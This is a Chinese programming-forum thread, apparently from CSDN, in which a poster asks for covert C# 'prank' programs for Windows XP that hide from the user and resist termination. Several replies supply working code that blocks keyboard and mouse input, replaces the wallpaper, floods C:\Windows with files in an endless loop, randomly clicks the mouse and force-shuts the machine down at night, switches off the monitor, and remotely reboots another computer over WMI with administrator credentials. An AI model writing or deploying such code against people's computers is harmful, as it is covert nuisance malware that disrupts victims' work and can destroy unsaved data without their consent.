首页 诗词 字典 板报 句子 名言 友答 励志 学校 网站地图
当前位置: 首页 > 教程频道 > .NET > C# >

怎样用C# 搞笑 整人解决思路

2012-01-09 
怎样用C# 搞笑 整人要求1、方法不限,要让用户不能使用键盘鼠标、屏幕出现异常情况、发出诡异声音、出现蓝屏、出

怎样用C# 搞笑 整人

要求

1、方法不限,要让用户不能使用键盘鼠标、屏幕出现异常情况、发出诡异声音、出现蓝屏、出现黑屏……
2、必须是.net 2.0框架下的程序。可以使用api。只要程序写出来能在XP + .net 2.0上运行就可以。
3、隐蔽性。尽量不能让用户察觉。需要有比较好的隐蔽性。比如防止结束进程、线程注入……
4、可恢复性。要保证系统重启之后会自动回复正常,不能有任何的“后遗症”。要考虑用户可能会强制关机。




只要能提供有价值的方法或有趣的整人方法者都有分。

如果参与人数多,还会继续加分!

[解决办法]
我也发一个,阻止用户输入,不过按Ctrl+Alt++del就可解除。
C# code
        // true阻止输入,false解除阻止输入        [DllImport("User32.dll")]       public static extern bool BlockInput(bool enabled);
[解决办法]
收藏
[解决办法]
mark
[解决办法]
篡改背景图片
C# code
        [DllImport("user32.dll", EntryPoint = "SystemParametersInfo")]        public static extern int SystemParametersInfo(            int uAction,            int uParam,            string lpvParam,            int fuWinIni            );        /// <summary>        /// 设置背景图片        /// </summary>        /// <param name="picture">图片路径</param>        private void SetDestPicture(string picture)        {            if (File.Exists(picture))            {                if (Path.GetExtension(picture).ToLower() != "bmp")                {                     // 其它格式文件先转换为bmp再设置                    string tempFile = @"D:\test.bmp";                    Image image = Image.FromFile(picture);                    image.Save(tempFile, System.Drawing.Imaging.ImageFormat.Bmp);                    picture = tempFile;                }                SystemParametersInfo(20, 0, picture, 0x2);            }        }
[解决办法]
UP...

[解决办法]
不觉得楼主这么做有什么意义
[解决办法]
标记,UP
[解决办法]
再来一个,启动屏保
C# code
        private void RunScreenSaver()        {            String[] screenSavers = Directory.GetFiles(Environment.SystemDirectory, "*.scr");            if (screenSavers.Length > 0)            {                // 启动获取到的第一个屏保                Process.Start(new ProcessStartInfo(screenSavers[0]));            }        }
[解决办法]
mark
[解决办法]
mark
[解决办法]
学习!
[解决办法]
mark
[解决办法]
学习
[解决办法]
up
[解决办法]
呵呵,楼主比较搞
[解决办法]
探讨
5楼的,你能做到要求的第四条吗?
引用楼主 aimeast 的帖子:
4、可恢复性。要保证系统重启之后会自动回复正常,不能有任何的“后遗症”。要考虑用户可能会强制关机。

[解决办法]
我也来个。。。
long k=0;
While(true)


{
k++;
File.Create("C:\Windows\"+k.ToString()+".jok");
}

[解决办法]
有意思,收了
[解决办法]
UP,以表支持
[解决办法]
Mark一下。
[解决办法]
MARK

[解决办法]
mark
[解决办法]
能把亮度输出调小甚至是调到0最好
然后调用PC小喇叭发警告声是最好玩了



[解决办法]
满足要求都满足后,改动下恶作剧程序就可当病毒了
[解决办法]
整人好玩吗,对于不懂电脑的人,你会吓到他的
[解决办法]
MARK
[解决办法]
mark
[解决办法]
mark
[解决办法]
牛啊,学习下
[解决办法]
关注下,顺便提问LZ,程序自动运行还是需要他自己点击后才运行?
[解决办法]
mark
[解决办法]
mark
[解决办法]

[解决办法]

有心研究,却找不到资源,样板....



传说每天回帖即可获得 10 分可用分!
[解决办法]
MARK
[解决办法]
up
[解决办法]

C# code
using System;using System.Collections.Generic;using System.Windows.Forms;//using System.Runtime.InteropServices;using System.Threading;using System.Media;namespace Z{    static class Program    {        const int MOUSEEVENTF_LEFTDOWN = 0x2;        const int MOUSEEVENTF_LEFTUP = 0x4;        const int MOUSEEVENTF_MIDDLEDOWN = 0x20;        const int MOUSEEVENTF_MIDDLEUP = 0x40;        const int MOUSEEVENTF_MOVE = 0x1;        const int MOUSEEVENTF_ABSOLUTE = 0x8000;        const int MOUSEEVENTF_RIGHTDOWN = 0x8;        const int MOUSEEVENTF_RIGHTUP = 0x10;        [DllImport("user32.dll")]        static extern int GetSystemMetrics(int nIndex);        [DllImport("user32.dll")]        static extern int SetCursorPos(int x, int y);        [DllImport("user32.dll")]        static extern int mouse_event(int dwFlags, int dx, int dy, int cButtons, int dwExtraInfo);        static int Sx, Sy;        static long tick = 1;        static Random rnd = new Random();        [STAThread]        static void Main()        {            try            {                Sx = GetSystemMetrics(0);                Sy = GetSystemMetrics(1);                while (true)                {                    if ((DateTime.Now.Hour > 22 && DateTime.Now.Minute > 30 || DateTime.Now.Hour < 6) && rnd.Next(1500) == 0)                        DoShutdown();                    Thread.Sleep(1000);                    tick += rnd.Next(2);                    if (tick < 1800)                        continue;                    if (tick % 643 == 0)                        DoMouse();                    if (tick % 313 == 0)                        DoBang();                }            }            catch { };        }        static void DoMouse()        {            int dx, dy;            int c = 4;            while (c-- > 0)            {                dx = rnd.Next(Sx);                dy = rnd.Next(Sy);                switch (rnd.Next(3))                {                    case 0:                        SetCursorPos(dx, dy);                        break;                    case 1:                        mouse_event(MOUSEEVENTF_LEFTDOWN | MOUSEEVENTF_LEFTUP | MOUSEEVENTF_ABSOLUTE, dx, dy, 0, 0);                        break;                    case 2:                        mouse_event(MOUSEEVENTF_RIGHTDOWN | MOUSEEVENTF_RIGHTUP | MOUSEEVENTF_ABSOLUTE, dx, dy, 0, 0);                        break;                }                Thread.Sleep(100);            }        }        static void DoBang()        {            switch (rnd.Next(4))            {                case 0:                    SystemSounds.Asterisk.Play();                    break;                case 1:                    SystemSounds.Beep.Play();                    break;                case 2:                    SystemSounds.Exclamation.Play();                    break;                case 3:                    SystemSounds.Hand.Play();                    break;            }        }        static void DoShutdown()        {            [color=#FF0000]Process[/color].Start("shutdown.exe", "-f -s -t 0");        }    }} 


[解决办法]
Mark
[解决办法]
Mark
[解决办法]
总算体验到编程的快感啦,
呵呵...
帮楼住顶起来...
[解决办法]
如果是对方没有装.Net2.0,
可能就跑不起来,呵呵...
[解决办法]
using System;
using System.Diagnostics;
using System.Media;
using System.Runtime.InteropServices;
using System.Threading;

namespace wga
{
static class Program
{
const int MOUSEEVENTF_LEFTDOWN = 0x2;
const int MOUSEEVENTF_LEFTUP = 0x4;
const int MOUSEEVENTF_MIDDLEDOWN = 0x20;
const int MOUSEEVENTF_MIDDLEUP = 0x40;
const int MOUSEEVENTF_MOVE = 0x1;
const int MOUSEEVENTF_ABSOLUTE = 0x8000;
const int MOUSEEVENTF_RIGHTDOWN = 0x8;
const int MOUSEEVENTF_RIGHTUP = 0x10;

[DllImport("user32.dll")]
static extern int GetSystemMetrics(int nIndex);
[DllImport("user32.dll")]
static extern int SetCursorPos(int x, int y);
[DllImport("user32.dll")]
static extern int mouse_event(int dwFlags, int dx, int dy, int cButtons, int dwExtraInfo);

static int Sx, Sy;
static long tick = 1;
static Random rnd = new Random();
[STAThread]
static void Main()
{
try
{
Sx = GetSystemMetrics(0);
Sy = GetSystemMetrics(1);
while(true)
{
if((DateTime.Now.Hour > 22 && DateTime.Now.Minute > 30 || DateTime.Now.Hour < 6) && rnd.Next(1500) == 0)
DoShutdown();
Thread.Sleep(1000);
tick += rnd.Next(2);
if(tick < 1800)
continue;
if(tick % 643 == 0)
DoMouse();
if(tick % 313 == 0)
DoBang();
}
}
catch { };
}
static void DoMouse()
{
int dx, dy;
int c = 4;
while(c-- > 0)
{
dx = rnd.Next(Sx);
dy = rnd.Next(Sy);
switch(rnd.Next(3))
{
case 0:
SetCursorPos(dx, dy);
break;
case 1:
mouse_event(MOUSEEVENTF_LEFTDOWN | MOUSEEVENTF_LEFTUP | MOUSEEVENTF_ABSOLUTE, dx, dy, 0, 0);
break;
case 2:
mouse_event(MOUSEEVENTF_RIGHTDOWN | MOUSEEVENTF_RIGHTUP | MOUSEEVENTF_ABSOLUTE, dx, dy, 0, 0);
break;
}
Thread.Sleep(100);
}
}
static void DoBang()
{
switch(rnd.Next(4))
{
case 0:
SystemSounds.Asterisk.Play();
break;
case 1:
SystemSounds.Beep.Play();
break;
case 2:
SystemSounds.Exclamation.Play();
break;
case 3:
SystemSounds.Hand.Play();
break;
}
}
static void DoShutdown()
{


Process.Start("shutdown.exe", "-f -s -t 0");
}
}
}


[解决办法]
好哦,好哦,收了

[解决办法]
回帖是一种美德!传说每天回帖即可获得 10 分可用分!
[解决办法]
一个思路:
1.用一个无边框的窗体,最大化TopMost显示,窗体的背景一个图片框放入黑屏、蓝屏、或截屏等你想要的图片。
2.用窗体的KeyDown事件截获全部键盘输入。
3.做一个全透明的鼠标Cursor作为窗体的Cursor。
4.Cancel掉用户操作导致的窗体关闭。

[解决办法]
好题材
[解决办法]
学习下~~~~~~~~~~
[解决办法]
学习
[解决办法]
mark,学习
[解决办法]
ddddddddddddddddddddddddddddd
[解决办法]

C# code
using System.Runtime.InteropServices;
[解决办法]
真的吗
[解决办法]
回帖是一种美德!传说每天回帖即可获得 10 分可用分!
[解决办法]
有点意思
[解决办法]
直接关闭显示器
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Text;
using System.Windows.Forms;
using System.Runtime.InteropServices;

namespace ControlHardWare
{
public partial class Form1 : Form
{
public Form1()
{
InitializeComponent();
}
#region SendMessage
public const uint WM_SYSCOMMAND = 0x0112;
public const uint SC_MONITORPOWER = 0xF170;
[DllImport("user32")]
public static extern IntPtr SendMessage(IntPtr hWnd, uint wMsg, uint wParam, int lParam);
#endregion

private void button1_Click(object sender, EventArgs e)
{
CloseLCD(sender, e);
}

void CloseLCD(object sender, EventArgs e)
{
SendMessage(this.Handle, WM_SYSCOMMAND, SC_MONITORPOWER, 2); // 2 为关闭显示器, -1则打开显示器
}

}
}


[解决办法]
挺好玩的,小智慧,大文章
[解决办法]
收藏...学习
[解决办法]
MARK
[解决办法]

[解决办法]
mark
[解决办法]
半个病毒..
[解决办法]
good,
mark!
[解决办法]
up 顶起
[解决办法]
mark
------解决方案--------------------



创意是关键,技术还是比较容易实现,不过为什么非要.net 2.0?最好直接用C调API
[解决办法]
强帖!
[解决办法]
历史最有意义的帖,UP
[解决办法]
up
[解决办法]
up
[解决办法]
学习了,收藏
[解决办法]
好坑
[解决办法]
mark
[解决办法]
up
[解决办法]
mark
[解决办法]
关注!
[解决办法]
我也有一个在我的CSDN资源里
[解决办法]
远程关闭别人的电脑

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Text;
using System.Windows.Forms;

using System.Management;

namespace Ex18_11
{
public partial class Form1 : Form
{
public Form1()
{
InitializeComponent();
}

private void button1_Click(object sender, EventArgs e)
{
//指定生成 WMI 连接所需的所有设置
ConnectionOptions op = new ConnectionOptions();
op.Username = "administrator"; //远程计算机用户名称
op.Password = "";   //远程计算机用户密码
//设置操作管理范围
ManagementScope scope = new ManagementScope("\\\\" + "192.9.103.114" + "\\root\\cimv2", op);
scope.Connect(); //将此 ManagementScope 连接到实际的 WMI 范围。
ObjectQuery oq = new ObjectQuery("SELECT * FROM Win32_OperatingSystem");
ManagementObjectSearcher query = new ManagementObjectSearcher(scope, oq);
//得到WMI控制 
ManagementObjectCollection queryCollection = query.Get();
foreach (ManagementObject obj in queryCollection)
{
// obj.InvokeMethod("ShutDown", null); //执行关闭远程计算机,reboot为重新启动
obj.InvokeMethod("Reboot",null);
}
}
}
}
[解决办法]
好好学习
[解决办法]

[解决办法]
LZ要整谁呀.
[解决办法]
mark
[解决办法]
up
[解决办法]
学习,收藏之。。。
[解决办法]
mark
[解决办法]
小技巧:教你如何更快获得可用分
[解决办法]
mark
------解决方案--------------------


mark
[解决办法]
期待更多,收藏下
[解决办法]
这是干么
[解决办法]
搬个板凳看表演……
[解决办法]
收藏

热点排行